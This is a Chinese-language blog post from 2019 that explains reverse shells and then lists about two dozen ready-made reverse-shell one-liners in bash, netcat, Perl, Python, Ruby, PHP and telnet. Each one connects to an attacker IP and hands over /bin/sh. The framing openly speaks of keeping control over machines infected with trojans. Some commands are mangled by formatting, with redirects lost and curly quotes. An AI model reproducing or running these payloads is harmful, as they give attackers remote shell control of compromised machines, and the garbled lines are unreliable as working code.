反彈shell集錦
阿新 • • 發佈:2019-03-11
popen 建立 它的 socket pan \n edi -c file
1. 關於反彈shell
就是控制端監聽在某TCP/UDP端口,被控端發起請求到該端口,並將其命令行的輸入輸出轉到控制端。reverse shell與telnet,ssh等標準shell對應,本質上是網絡概念的客戶端與服務端的角色反轉。
2. 反彈shell的原因
通常用於被控端因防火墻受限、權限不足、端口被占用等情形
假設我們攻擊了一臺機器,打開了該機器的一個端口,攻擊者在自己的機器去連接目標機器(目標ip:目標機器端口),這是比較常規的形式,我們叫做正向連接。遠程桌面,web服務,ssh,telnet等等,都是正向連接。那麽什麽情況下正向連接不太好用了呢?
1)某客戶機中了你的網馬,但是它在局域網內,你直接連接不了。
2)它的ip會動態改變,你不能持續控制。
3)由於防火墻等限制,對方機器只能發送請求,不能接收請求。
4)對於病毒,木馬,受害者什麽時候能中招,對方的網絡環境是什麽樣的,什麽時候開關機,都是未知,所以建立一個服務端,讓惡意程序主動連接,才是上策。
3.反彈shell集錦
@bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 @/bin/bash -i > /dev/tcp/173.214.173.151/8080 0<&1 2>&1 @/bin/sh | nc 10.104.11.107 9007 @perl -MIO -e ‘$c=new IO::Socket::INET(PeerAddr,"10.104.11.107:9006");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;‘ @perl -e ‘use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};‘ @perl -MIO -e ‘$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"10.104.11.107:9009");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;‘ @python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);‘ @python -c "exec(\"import socket, subprocess;s = socket.socket();s.connect((‘10.104.11.107‘,9013))\nwhile 1: proc = subprocess.Popen(s.recv(1024), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE);s.send(proc.stdout.read()+proc.stderr.read())\")" @ruby -rsocket -e‘f=TCPSocket.open("10.104.11.107",9009).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)‘ @ruby -rsocket -e ‘c=TCPSocket.new("10.104.11.107","9010");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end‘ @ruby -rsocket -e ‘exit if fork;c=TCPSocket.new("10.104.11.107","9011");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end‘ @mknod backpipe p && telnet 173.214.173.151 8080 0backpipe @php -r ‘$sock=fsockopen("10.104.11.107",9012);exec("/bin/sh -i <&3 >&3 2>&3");‘ @rm -f /tmp/p; mknod /tmp/p p && nc 10.104.11.107 9008 0/tmp/ @rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f #本地監聽兩個端口,通過管道,一處輸入,一處輸出 @nc 10.104.11.107 1234|/bin/sh|nc 10.104.11.107 9999 @shell.py @shell.pl @shell2.pl 1.perl -MIO -e ‘$p=fork;exit,if($p); $c=new IO::Socket::INET(PeerAddr,"10.104.11.107:9002");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;‘ 2.rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.104.11.107 9003 >/tmp/f 3.mknod backpipe p && telnet 10.104.11.107 9005 0backpipe 4.perl -MIO -e ‘$c=new IO::Socket::INET(PeerAddr,"10.104.11.107:9006");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;‘ 5./bin/sh | nc 10.104.11.107 9007 6.rm -f /tmp/p; mknod /tmp/p p && nc 10.104.11.107 9008 0/tmp/ 7.ruby -rsocket -e ‘c=TCPSocket.new("10.104.11.107","9010");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end‘ 8.ruby -rsocket -e ‘exit if fork;c=TCPSocket.new("10.104.11.107","9011");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end‘ 9.python -c "exec(\"import socket, subprocess;s = socket.socket();s.connect((‘10.104.11.107‘,9013))\nwhile 1: proc = subprocess.Popen(s.recv(1024), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE);s.send(proc.stdout.read()+proc.stderr.read())\")
反彈shell集錦